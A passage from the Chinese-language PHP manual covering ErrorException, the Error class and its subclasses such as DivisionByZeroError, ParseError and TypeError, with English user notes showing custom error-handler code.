This is because PHP is trying to handle the error before it shuts down and before the register_shutdown_function is actually involved. So it's very important to be mindful of this if you're using different methods for exceptions, errors and fatal exceptions. You will need to specifically catch the error like before and return out of your error handling function for the fatal exception handler to kick in properly.

You're welcome .....

<?php
    /**
     * We handle basic errors differently to everything else
     */
    public static function errorHandler($errStatus, $errMsg = 'Unknown error', $errFile = 'unknown', $errLine = 0)
    {
        /**
         * Because we're using set_error_handler, PHP tries to be
         * clever and routes fatal errors and other "errors"
         * (i.e. trigger_error) here before it goes to
         * register_shutdown_function, so we need to be sure these
         * are caught and dealt with in the correct way
         *
         * @See https://www.php.net/manual/en/class.errorexception.php#95415
         */
        if (\in_array($errStatus, [E_ERROR, E_PARSE, E_CORE_ERROR, E_USER_ERROR, E_ERROR]))
        {
            return;
        }

        /* Handle everything else however you want */
    }
Kevin 28-Mar-2017 09:13
I have been Googling all over the place for how to convert an E_NOTICE error into an exception, and I think I finally found a clean way to do it:

@include "errorcausingcode.php";

$lastError = error_get_last();
if ( !empty( $lastError ) ) {
    throw new TemplateRenderingException($lastError['message'], $lastError['type']);
}

Basically, if it's something not system haulting it will likely hit this. Then you can throw whatever exception you want. Now, this is of course if you have a need. I did, because I wanted to clean up my output buffer if there was an error that skipped over it.
xianrenb at gmail dot com 23-Sep-2012 02:33
<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

Please note that property $severity of class ErrorException is set to a constant zero for all kinds of errors in the above example.

I think it was a bug and tried to file a bug report, but it was closed as not a bug, so I could not say the above is wrong.

Let me show an example that uses $severity not as a constant:
<?php
  set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
  });

  class MyClass {
    public function methodA() {
      echo("methodA:\n");
      strpos();
    }

    public function methodB() {
      echo("methodB:\n");
      trigger_error("warning message form methodB", E_WARNING);
    }

    public function methodC() {
      echo("methodC:\n");
      throw new ErrorException();
    }

    public function methodD() {
      echo("methodD:\n");
      throw new ErrorException('warning message from methodD', 0,
E_WARNING);
    }

    public function run($i) {
        if ($i === 0) {
          $this->methodA();
        } else if ($i === 1) {
          $this->methodB();
        } else if ($i === 2) {
          $this->methodC();
        } else {
          $this->methodD();
        }
    }

    public function test() {
      for ($i = 0; $i < 4; ++$i) {
        try {
            $this->run($i);
        } catch (ErrorException $e) {
          if ($e->getSeverity() === E_ERROR) {
            echo("E_ERROR triggered.\n");
          } else if ($e->getSeverity() === E_WARNING) {
            echo("E_WARNING triggered.\n");
          }
        }
      }
    }
  }

  $myClass = new MyClass();
  $myClass->test();
?>

Please note that methodC() uses (constructor of) class ErrorException with default parameters.

I believe it is the original intention to make $severity having default value of 1, which is exactly equal to E_ERROR.

Using property $code or Exception::getCode() to compare with E_* values could not do the same thing (as in methodC()), as $code has a default value of 0, and class Exception has it too, users may use $code for some other purposes.
triplepoint at gmail dot com 01-Jan-2010 08:16
As noted below, it's important to realize that unless caught, any Exception thrown will halt the script.  So converting EVERY notice, warning, or error to an ErrorException will halt your script when something harmlesss like E_USER_NOTICE is triggered.

It seems to me the best use of the ErrorException class is something like this:

<?php
function custom_error_handler($number, $string, $file, $line, $context)
{
    // Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc)
    $error_is_enabled = (bool)($number & ini_get('error_reporting') );

    // -- FATAL ERROR
    // throw an Error Exception, to be handled by whatever Exception handling logic is available in this context
    if( in_array($number, array(E_USER_ERROR, E_RECOVERABLE_ERROR)) && $error_is_enabled ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }

    // -- NON-FATAL ERROR/WARNING/NOTICE
    // Log the error if it's enabled, otherwise just ignore it
    else if( $error_is_enabled ) {
        error_log( $string, 0 );
        return false; // Make sure this ends up in $php_errormsg, if appropriate
    }
}
?>

Setting this function as the error handler will result in ErrorExceptions only being thrown for E_USER_ERROR and E_RECOVERABLE_ERROR, while other enabled error types will simply get error_log()'ed.

It's worth noting again that no matter what you do, "E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT" will never reach your custom error handler, and therefore will not be converted into ErrorExceptions.  Plan accordingly.
randallgirard at hotmail dot com 11-Dec-2009 03:32
E_USER_WARNING, E_USER_NOTICE, and any other non-terminating error codes, are useless and act like E_USER_ERROR (which terminate) when you combine a custom ERROR_HANDLER with ErrorException and do not CATCH the error. There is NO way to return execution to the parent scope in the EXCEPTION_HANDLER.

<?php

    error_reporting(E_ALL);
    define('DEBUG', true);
    define('LINEBREAK', "\r\n");

    error::initiate('./error_backtrace.log');

    try
        trigger_error("First error", E_USER_NOTICE);
    catch ( ErrorException $e )
        print("Caught the error: ".$e->getMessage."<br />\r\n" );

    trigger_error("This event WILL fire", E_USER_NOTICE);

    trigger_error("This event will NOT fire", E_USER_NOTICE);

    abstract class error {

        public static $LIST = array();

        private function __construct() {}

        public static function initiate( $log = false ) {
            set_error_handler( 'error::err_handler' );
            set_exception_handler( 'error::exc_handler' );
            if ( $log !== false ) {
                if ( ! ini_get('log_errors') )
                    ini_set('log_errors', true);
                if ( ! ini_get('error_log') )
                    ini_set('error_log', $log);
            }
        }

        public static function err_handler($errno, $errstr, $errfile, $errline, $errcontext) {
            $l = error_reporting();
            if ( $l & $errno ) {

                $exit = false;
                switch ( $errno ) {
                    case E_USER_ERROR:
                        $type = 'Fatal Error';
                        $exit = true;
                    break;
                    case E_USER_WARNING:
                    case E_WARNING:
                        $type = 'Warning';
                    break;
                    case E_USER_NOTICE:
                    case E_NOTICE:
                    case @E_STRICT:
                        $type = 'Notice';
                    break;
                    case @E_RECOVERABLE_ERROR:
                        $type = 'Catchable';
                    break;
                    default:
                        $type = 'Unknown Error';
                        $exit = true;
                    break;
                }

                $exception = new \ErrorException($type.': '.$errstr, 0, $errno, $errfile, $errline);

                if ( $exit ) {
                    exc_handler($exception);
                    exit();
                }
                else
                    throw $exception;
            }
            return false;
        }

        function exc_handler($exception) {
            $log = $exception->getMessage() . "\n" . $exception->getTraceAsString() . LINEBREAK;
            if ( ini_get('log_errors') )
                error_log($log, 0);
            print("Unhandled Exception" . (DEBUG ? " - $log" : ''));
        }

    }
?>
luke at cywh dot com 23-Feb-2009 11:56
To add to the comments made by chris AT cmbuckley DOT co DOT uk about the ErrorException problem with args:

I noticed that the problem is in the ErrorException class itself, not the Exception class. When using just the exception class, it's no longer an issue. Besides the args problem, the only difference between Exception and ErrorException in the stack trace is that the args are left out of the error handler exception function. I'm not sure if this was on purpose or not, but it shouldn't hurt to show this information anyway.

So instead of using this broken extended class, you can ignore it and make your own extended class and avoid the problem all together:

<?php

header('Content-Type: text/plain');

class ErrorHandler extends Exception {
    protected $severity;

    public function __construct($message, $code, $severity, $filename, $lineno) {
        $this->message = $message;
        $this->code = $code;
        $this->severity = $severity;
        $this->file = $filename;
        $this->line = $lineno;
    }

    public function getSeverity() {
        return $this->severity;
    }
}

function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorHandler($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler", E_ALL);

function A() {
    $foo->bar; // Purposely cause error
}

function B($c) {
    A();
}

try {
    B('foobar');
} catch (Exception $e) {
    var_dump($e->getTrace());
}

?>

The only thing I wish I could do was remove the entry for the error handler function because it's quite irrelevant. Maybe that's what they were trying to do with the ErrorException class? Either way, you can't change it because the trace functions are final, and the variable is private.


构造一个异常（Exception）

  • ? ErrorException
  • ErrorException::getSeverity ?
  • PHP Manual
  • ErrorException
  • 构造一个异常（Exception）

ErrorException::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::__construct — 构造一个异常（Exception）

说明

public ErrorException::__construct(
string $message = "",
int $code = 0,
int $severity = E_ERROR,
?string $filename = null,
?int $line = null,
?Throwable $previous = null
)

构造一个异常（Exception）。

参数

message

抛出的异常消息内容。

code

异常代码。

severity

异常的严重级别。

Note:

severity 可以是任意 int 值，即错误常量里面的值。

filename

抛出异常所在的文件名。

line

抛出异常所在的行号。

previous

异常链中的前一个异常。

更新日志

版本 | 说明
8.0.0 | 现在 filename 和 line 可以为空。 之前，它们的默认值分别是 __FILE__ 和 __LINE__ 。

User Contributed Notes

There are no user contributed notes for this page.


获取异常的严重程度

  • ? ErrorException::__construct
  • Error ?
  • PHP Manual
  • ErrorException
  • 获取异常的严重程度

ErrorException::getSeverity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::getSeverity — 获取异常的严重程度

说明

final public ErrorException::getSeverity(): int

返回异常的严重程度。

参数

此函数没有参数。

返回值

返回异常的严重级别。

示例

Example #1 ErrorException::getSeverity() 例子

<?php
try {
throw new ErrorException("Exception message", 0, E_USER_ERROR);
} catch(ErrorException $e) {
echo "This exception severity is: " . $e->getSeverity();
var_dump($e->getSeverity() === E_USER_ERROR);
}
?>

以上示例的输出类似于：

This exception severity is: 256
bool(true)

User Contributed Notes

cyjimmy264 at gmail dot com 12-Apr-2017 10:46
function friendly_severity($severity) {
    $names = [];

    $consts = array_flip(
        array_slice(
            get_defined_constants(true)['Core'], 0, 15, true));

    foreach ($consts as $code => $name) {
        if ($severity & $code) $names []= $name;
    }

    return join(' | ', $names);
}
fgaab 08-Mar-2010 06:38
Try this as replacement for error_reporting(...)

<?php
    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        $severity =
            1 * E_ERROR |
            1 * E_WARNING |
            0 * E_PARSE |
            0 * E_NOTICE |
            0 * E_CORE_ERROR |
            0 * E_CORE_WARNING |
            0 * E_COMPILE_ERROR |
            0 * E_COMPILE_WARNING |
            0 * E_USER_ERROR |
            0 * E_USER_WARNING |
            0 * E_USER_NOTICE |
            0 * E_STRICT |
            0 * E_RECOVERABLE_ERROR |
            0 * E_DEPRECATED |
            0 * E_USER_DEPRECATED;
        $ex = new ErrorException($errstr, 0, $errno, $errfile, $errline);
        if (($ex->getSeverity() & $severity) != 0) {
                       throw $ex;
                }
    }
    set_error_handler("exception_error_handler");
?>


Error

(PHP 7, PHP 8)

简介

Error 是所有PHP内部错误类的基类。

类摘要

class Error implements Throwable {
/* 属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}

属性

message

错误消息内容

code

错误代码

file

抛出错误的文件名

line

抛出错误的行数

previous

之前抛出的异常

string

字符串形式的堆栈跟踪

trace

数组形式的堆栈跟踪

Table of Contents

  • Error::__construct — 初始化 error 对象
  • Error::getMessage — 获取错误信息
  • Error::getPrevious — 返回先前的 Throwable
  • Error::getCode — 获取错误代码
  • Error::getFile — 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace — 获取调用栈（stack trace）
  • Error::getTraceAsString — 获取字符串形式的调用栈（stack trace）
  • Error::__toString — error 的字符串表达
  • Error::__clone — 克隆 error

User Contributed Notes

dams at php dot net 22-Jan-2022 03:45
Lists of Throwable and Exception tree as of 8.1.0

Error
   ArithmeticError
      DivisionByZeroError
   AssertionError
   CompileError
      ParseError
   FiberError
   TypeError
      ArgumentCountError
   UnhandledMatchError
   ValueError
Exception
   ClosedGeneratorException
   DOMException
   ErrorException
   IntlException
   JsonException
   LogicException
      BadFunctionCallException
         BadMethodCallException
      DomainException
      InvalidArgumentException
      LengthException
      OutOfRangeException
   PharException
   ReflectionException
   RuntimeException
      OutOfBoundsException
      OverflowException
      PDOException
      RangeException
      UnderflowException
      UnexpectedValueException
   SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/f8Boe

Initially posted by whysteepy at gmail dot com for PHP 7.2.0, based on the gist
whysteepy at gmail dot com 28-Jan-2018 07:53
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted here http://php.net/manual/en/class.throwable.php
JustinasMalkas 08-Dec-2015 08:13
If after PHP upgrade you're getting error "PHP Fatal error:  Cannot declare class error, because the name is already in use ...", you will have to rename your "error" class.
Since PHP 7 classname "Error" is predefined and used internally.


初始化 error 对象

  • ? Error
  • Error::getMessage ?
  • PHP Manual
  • Error
  • 初始化 error 对象

Error::__construct

(PHP 7, PHP 8)

Error::__construct — 初始化 error 对象

说明

public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)

初始化 Error。

参数

message

错误信息。

code

错误代码。

previous

先前的 throwable，用于异常链。

注释

Note:

message 不是二进制安全的。

User Contributed Notes

There are no user contributed notes for this page.


获取错误信息

  • ? Error::__construct
  • Error::getPrevious ?
  • PHP Manual
  • Error
  • 获取错误信息

Error::getMessage

(PHP 7, PHP 8)

Error::getMessage — 获取错误信息

说明

final public Error::getMessage(): string

返回错误信息。

参数

此函数没有参数。

返回值

返回字符串错误信息。

示例

Example #1 Error::getMessage() 例子

<?php
try {
throw new Error("Some error message");
} catch(Error $e) {
echo $e->getMessage();
}
?>

以上示例的输出类似于：

Some error message

参见

  • Throwable::getMessage() - 获取信息

User Contributed Notes

There are no user contributed notes for this page.


返回先前的 Throwable

  • ? Error::getMessage
  • Error::getCode ?
  • PHP Manual
  • Error
  • 返回先前的 Throwable

Error::getPrevious

(PHP 7, PHP 8)

Error::getPrevious — 返回先前的 Throwable

说明

final public Error::getPrevious(): ?Throwable

返回先前的 Throwable（Error::__construct() 的第三个参数）。

参数

此函数没有参数。

返回值

如果有的话，返回先前的 Throwable，否则返回 null 。

示例

Example #1 Error::getPrevious() 例子

循环输出错误栈。

<?php
class MyCustomError extends Error {}

function doStuff() {
try {
throw new InvalidArgumentError("You are doing it wrong!", 112);
} catch(Error $e) {
throw new MyCustomError("Something happened", 911, $e);
}
}

try {
doStuff();
} catch(Error $e) {
do {
printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
} while($e = $e->getPrevious());
}
?>

以上示例的输出类似于：

/home/bjori/ex.php:8 Something happened (911) [MyCustomError]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentError]

参见

  • Throwable::getPrevious() - 返回先前的 Throwable

User Contributed Notes

There are no user contributed notes for this page.


获取错误代码

  • ? Error::getPrevious
  • Error::getFile ?
  • PHP Manual
  • Error
  • 获取错误代码

Error::getCode

(PHP 7, PHP 8)

Error::getCode — 获取错误代码

说明

final public Error::getCode(): int

返回错误代码。

参数

此函数没有参数。

返回值

返回 int 的错误代码

示例

Example #1 Error::getCode() 例子

<?php
try {
throw new Error("Some error message", 30);
} catch(Error $e) {
echo "The Error code is: " . $e->getCode();
}
?>

以上示例的输出类似于：

The Error code is: 30

参见

  • Throwable::getCode() - 获取异常代码

User Contributed Notes

There are no user contributed notes for this page.


获取错误发生时的文件

  • ? Error::getCode
  • Error::getLine ?
  • PHP Manual
  • Error
  • 获取错误发生时的文件

Error::getFile

(PHP 7, PHP 8)

Error::getFile — 获取错误发生时的文件

说明

final public Error::getFile(): string

获取错误发生时的文件名称。

参数

此函数没有参数。

返回值

返回错误发生时的文件名。

示例

Example #1 Error::getFile() 例子

<?php
try {
throw new Error;
} catch(Error $e) {
echo $e->getFile();
}
?>

以上示例的输出类似于：

/home/bjori/tmp/ex.php

参见

  • Throwable::getFile() - 获取创建对象的文件

User Contributed Notes

There are no user contributed notes for this page.


获取错误发生时的行号

  • ? Error::getFile
  • Error::getTrace ?
  • PHP Manual
  • Error
  • 获取错误发生时的行号

Error::getLine

(PHP 7, PHP 8)

Error::getLine — 获取错误发生时的行号

说明

final public Error::getLine(): int

获取错误发生时的行号。

参数

此函数没有参数。

返回值

返回错误发生时的行号。

示例

Example #1 Error::getLine() 例子

<?php
try {
throw new Error("Some error message");
} catch(Error $e) {
echo "The error was created on line: " . $e->getLine();
}
?>

以上示例的输出类似于：

The error was created on line: 3

参见

  • Throwable::getLine() - 获取初始化对象时候的行号

User Contributed Notes

There are no user contributed notes for this page.


获取调用栈（stack trace）

  • ? Error::getLine
  • Error::getTraceAsString ?
  • PHP Manual
  • Error
  • 获取调用栈（stack trace）

Error::getTrace

(PHP 7, PHP 8)

Error::getTrace — 获取调用栈（stack trace）

说明

final public Error::getTrace(): array

返回 stack trace。

参数

此函数没有参数。

返回值

返回 array 的 stack trace。

示例

Example #1 Error::getTrace() 例子

<?php
function test() {
throw new Error;
}

try {
test();
} catch(Error $e) {
var_dump($e->getTrace());
}
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

参见

  • Throwable::getTrace() - 获取堆栈踪迹（Stack Trace）

User Contributed Notes

There are no user contributed notes for this page.


获取字符串形式的调用栈（stack trace）

  • ? Error::getTrace
  • Error::__toString ?
  • PHP Manual
  • Error
  • 获取字符串形式的调用栈（stack trace）

Error::getTraceAsString

(PHP 7, PHP 8)

Error::getTraceAsString — 获取字符串形式的调用栈（stack trace）

说明

final public Error::getTraceAsString(): string

以字符串形式返回 stack trace。

参数

此函数没有参数。

返回值

以字符串形式返回 stack trace。

示例

Example #1 Error::getTraceAsString() 例子

<?php
function test() {
throw new Error;
}

try {
test();
} catch(Error $e) {
echo $e->getTraceAsString();
}
?>

以上示例的输出类似于：

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

参见

  • Throwable::getTraceAsString() - 以 string 形式获取堆栈踪迹

User Contributed Notes

There are no user contributed notes for this page.


error 的字符串表达

  • ? Error::getTraceAsString
  • Error::__clone ?
  • PHP Manual
  • Error
  • error 的字符串表达

Error::__toString

(PHP 7, PHP 8)

Error::__toString — error 的字符串表达

说明

public Error::__toString(): string

返回 Error 的 string表达形式。

参数

此函数没有参数。

返回值

返回 Error 的 string表达形式。

示例

Example #1 Error::__toString() 例子

<?php
try {
throw new Error("Some error message");
} catch(Error $e) {
echo $e;
}
?>

以上示例的输出类似于：

Error: Some error message in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

参见

  • Throwable::__toString() - 获取 Throwable 对象 string 形式的表达

User Contributed Notes

There are no user contributed notes for this page.


克隆 error

  • ? Error::__toString
  • ArgumentCountError ?
  • PHP Manual
  • Error
  • 克隆 error

Error::__clone

(PHP 7, PHP 8)

Error::__clone — 克隆 error

说明

private Error::__clone(): void

Error 无法被克隆，调用该方法会导致 fatal error。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

Error 无法被克隆。

更新日志

版本 | 说明
8.1.0 | Error::__clone() 不再是 final 的。

User Contributed Notes

There are no user contributed notes for this page.


ArgumentCountError

(PHP 7 >= PHP 7.1.0, PHP 8)

简介

ArgumentCountError 当传递给用户定义的函数或方法的参数太少时被抛出。

当传递到非可变内置函数的参数太多时，也会抛出此错误。

类摘要

class ArgumentCountError extends TypeError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

T7To7 31-Mar-2018 01:01
Note if an invalid number of arguments are passed to a built-in function an ArgumentCountError exception will be thrown if and only if your code is in strict mode.

<?php
declare(strict_types = 1);

try {
    echo strlen('ahmed', 4);
} catch (ArgumentCountError $e) {
    echo $e->getMessage()';
}
?>


ArithmeticError

(PHP 7, PHP 8)

简介

当执行数学运算发生错误时抛出 ArithmeticError 。 这些错误包括尝试执行负数的位移，以及对任何可能会导致值超出 int 的范围 intdiv() 调用。

类摘要

class ArithmeticError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

nima dot shirinzadeh at gmail dot com 12-Oct-2020 05:45
the first example shifted by the positive number and the result is 4, but the second example shifted by the negative number and the result is ArithmeticError(this example is the same for left shift)
<?php

 $shif =1;
 $number = 8;
 $result =  $number >> $shif;
 echo $result; //// 1000 >> 01000 = 4

$shif =-1;
 $number = 8;
 $result =  $number >> $shif;
 ////result is ArithmeticError
?>


AssertionError

(PHP 7, PHP 8)

简介

AssertionError 在函数 assert() 断言失败时被抛出。

类摘要

class AssertionError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


DivisionByZeroError

(PHP 7, PHP 8)

简介

DivisionByZeroError 当除数为零时被抛出。

类摘要

class DivisionByZeroError extends ArithmeticError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

8ctopus 03-Dec-2020 08:21
Use of arithmetic operator / does not throw an exception in php 7, while it does in php 8.

<?php

try {
    echo intdiv(2, 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}

try {
    echo (2 / 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}
?>

# php 7
$ php test.php
caught division by zero for intdiv()
PHP Warning:  Division by zero in test.php on line 10
PHP Stack trace:
PHP   1. {main}() test.php:0

Warning: Division by zero in test.php on line 10

Call Stack:
    0.0740     417272   1. {main}() test.php:0

# php 8
$ php test.php

caught division by zero for intdiv()
caught division by zero for /
Alex 08-May-2019 08:55
This error is thrown only for integer division - this is when using "intdiv" function or "%" operator. In all cases you will get an E_WARNING when dividing by zero.
salsi at icosaedro dot it 01-Mar-2016 05:27
Note that on division by zero 1/0 and module by zero 1%0 an E_WARNING is triggered first (probably for backward compatibility with PHP5), then the DivisionByZeroError exception is thrown next.

The result is, for example, that if you set the maximum level of error detection with error_level(-1) and you also map errors to exception, say ErrorException, then on division by zero only this latter exception is thrown reporting "Division by zero". The result is that a code like this:

<?php
// Set a safe environment:
error_reporting(-1);

// Maps errors to ErrorException.
function my_error_handler($errno, $message)
{ throw new ErrorException($message); }

try {
    echo 1/0;
}
catch(ErrorException $e){
    echo "got $e";
}
?>

allows to detect such error in the same way under PHP5 and PHP7, although the DivisionByZeroError exception is masked off by ErrorException.
Manjunath 14-Dec-2015 10:15
<?php
class MathOperation extends Error
{
    protected $n = 10;

    // Try to get the Division by Zero error object and display as Exception
    public function doArithmeticOperation(): string
    {
        try {
            $value = $this->n % 0;
        } catch (DivisionByZeroError $e) {
            return $e->getMessage();
        }
    }
}

$mathOperationObj = new MathOperation();
echo $mathOperationObj->doArithmeticOperation();


CompileError

(PHP 7 > 7.3.0, PHP 8)

简介

CompileError 是针对一些编译错误抛出的，之前是会发出致命错误。

类摘要

class CompileError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


ParseError

(PHP 7, PHP 8)

简介

ParseError 当解析 PHP 代码时发生错误时抛出，比如当 eval()被调用出错时。

Note: 从 PHP 7.3.0 开始，ParseError 继承自 CompileError。之前的版本，则继承自 Error。

类摘要

class ParseError extends CompileError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

SixPigPigWikiSix 06-Feb-2023 11:03
The priority of Parse Error should be higher than that of Fatal Error,Parse Error, which has the highest priority among all PHP exceptions. See the following example:
<?php
error_reporting(E_ALL);
test()
//System output a parse error
?>
<?php
error_reporting(E_WARNING);
test()
//System output a parse error
?>
<?php
error_reporting(E_ERROR);
test()
//System output a parse error
?>
<?php
error_reporting(E_PARSE);
test()
//System output a parse error
?>
andrian dot test dot job at gmail dot com 22-Nov-2019 09:58
<?php
/*
* The function eval() evaluate his argument as an instruction PHP
* Then the argument must respect the standar of PHP codage
* In this example the semicolon are missign
*/

try{

    eval("echo 'toto' echo 'tata'");

}catch(ParseError $p){

    echo $p->getMessage();
}

/*
* If you run this code the result is different of the result of above code
* PHP will output the standar parse Error: syntax error, ....
*

eval("echo 'toto' echo 'tata'");

*/


TypeError

(PHP 7, PHP 8)

简介

会抛出TypeError 的情况:

  • 为类属性设置的值与该属性申明的类型不匹配。
  • 传递给函数的参数类型与函数预期声明的参数类型不匹配。
  • 函数返回的值与声明的函数返回类型不匹配

类摘要

class TypeError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

更新日志

版本 | 说明
7.1.0 | 当在严格模式下向内置 PHP 函数传递无效数量的参数时，不再抛出 TypeError。 相反，会抛出 ArgumentCountError

User Contributed Notes

celsowmbr at outlook dot com 02-Apr-2019 03:49
An example:

<?php

function test($x):int {
    return $x;
}

try {
    test('ss');
}catch(TypeError $e){
    echo "Error !";
}


ValueError

(PHP 8)

简介

当参数类型正确但是值不正确的时候会抛出 ValueError。 例如，当函数期望是正整数时传递负整数， 或者当函数期望它不为空时传递空字符串/数组。

类摘要

class ValueError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


UnhandledMatchError

(PHP 8)

简介

当传递给 match 表达式的主体未被 match 表达式的任何分支处理时， 将会抛出 UnhandledMatchError。

类摘要

class UnhandledMatchError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


FiberError

(PHP 8 >= 8.1.0)

简介

当在 Fiber 上执行无效操作时，会抛出 FiberError。

类摘要

final class FiberError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
